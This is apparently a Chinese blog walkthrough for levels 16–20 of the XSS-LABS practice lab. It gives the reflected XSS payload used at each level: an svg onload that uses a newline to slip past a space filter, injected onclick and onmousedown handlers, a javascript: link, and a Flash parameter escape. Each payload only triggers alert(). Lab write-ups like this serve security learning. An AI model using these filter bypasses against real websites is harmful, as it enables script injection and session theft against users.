本文主要是介绍XSS-LABS通关攻略【16-20关】，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
XSS-LABS 16关
这一关先输入<script>alert(1)</script>进行过滤测试
发现script被空格代替了，空格被实体化了
根据源代码构造payload
将空格替换回车%0a
?keyword=<svg%0Aonload=alert(1)>
XSS-LABS 17关
这一关使用了embed标签，具体参考下面链接
embed介绍
这一关就需要使用支持flash的浏览器进行操作
更换浏览器后再次进行入17关就变成了这样
构造payload
?arg02= onclick=alert() 
XSS-LABS 18关
这一关和上一关一样都需要使用带有flash的浏览器
构造payload
?arg02= onmousedown=alert()
XSS-LABS 19关
和上一关大差不差，也是和flash有关，但是要注意，这一关还有实体化函数无法闭合
直接构造payload
?arg01=version&arg02=<a href="javascript:alert()">here</a>XSS-LABS 20关
也是需要反编译，直接构造payload
?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123这篇关于XSS-LABS通关攻略【16-20关】的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
